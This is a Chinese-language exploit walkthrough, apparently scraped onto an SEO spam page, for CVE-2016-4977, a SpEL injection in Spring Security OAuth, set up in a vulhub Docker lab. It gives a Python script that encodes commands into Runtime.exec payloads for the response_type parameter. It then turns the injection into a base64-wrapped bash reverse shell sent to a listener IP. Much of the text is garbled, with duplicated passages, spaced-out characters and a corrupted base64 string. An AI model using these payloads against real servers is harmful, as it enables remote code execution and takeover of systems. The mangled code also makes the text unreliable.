东莞整站优化排名,展厅宣传片,快速建站服务,设计电影完整版视频在线文章目录 一、搭建环境二、漏洞验证三、准备payload四、执行payload五、变形payload 一、搭建环境
cd vulhub/spring/CVE-2016-4977/ docker-compose up -d 二、漏洞验证
访问 http://192.168.10.171:8080/oauth/authorize?response_type${233*233}client_idacmes… 文章目录 一、搭建环境二、漏洞验证三、准备payload四、执行payload五、变形payload 一、搭建环境
cd vulhub/spring/CVE-2016-4977/ docker-compose up -d 二、漏洞验证
访问 http://192.168.10.171:8080/oauth/authorize?response_type${233*233}client_idacmescopeopenidredirect_urihttp://test 用admin:admin登陆
出现以下报错表示漏洞存在response_type里面的命令执行了
三、准备payload
poc.py #!/usr/bin/env python message input(‘Enter message to encode:’) poc ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0]) for ch in message[1:]: poc ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch) poc ‘)}’ print(poc)
python3 poc.py #输入要执行的命令会返回处理后的命令这里输入whoami
取出得到的输出 T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 119 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 104 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 111 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 97 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 109 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 105 ) ) ) P a y l o a d : o a u t h / a u t h o r i z e ? r e s p o n s e t y p e {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))} Payload:oauth/authorize?response_type T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))Payload:oauth/authorize?responsetype{T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}client_idacmescopeopenidredirect_urihttp://test
四、执行payload 返回了进程表示代码执行了但这没有回显是无回显RCE
五、变形payload
准备shell代码bash -i /dev/tcp/192.168.155.2/1111 01 转成base64YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ shellbash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ}|{base64,-d}|{bash,-i} Python poc.y获取输出
将上面的命令加入到response_type参数部分得到变形后的url 六、Getshell 开启监听
执行变形后的payload得到shell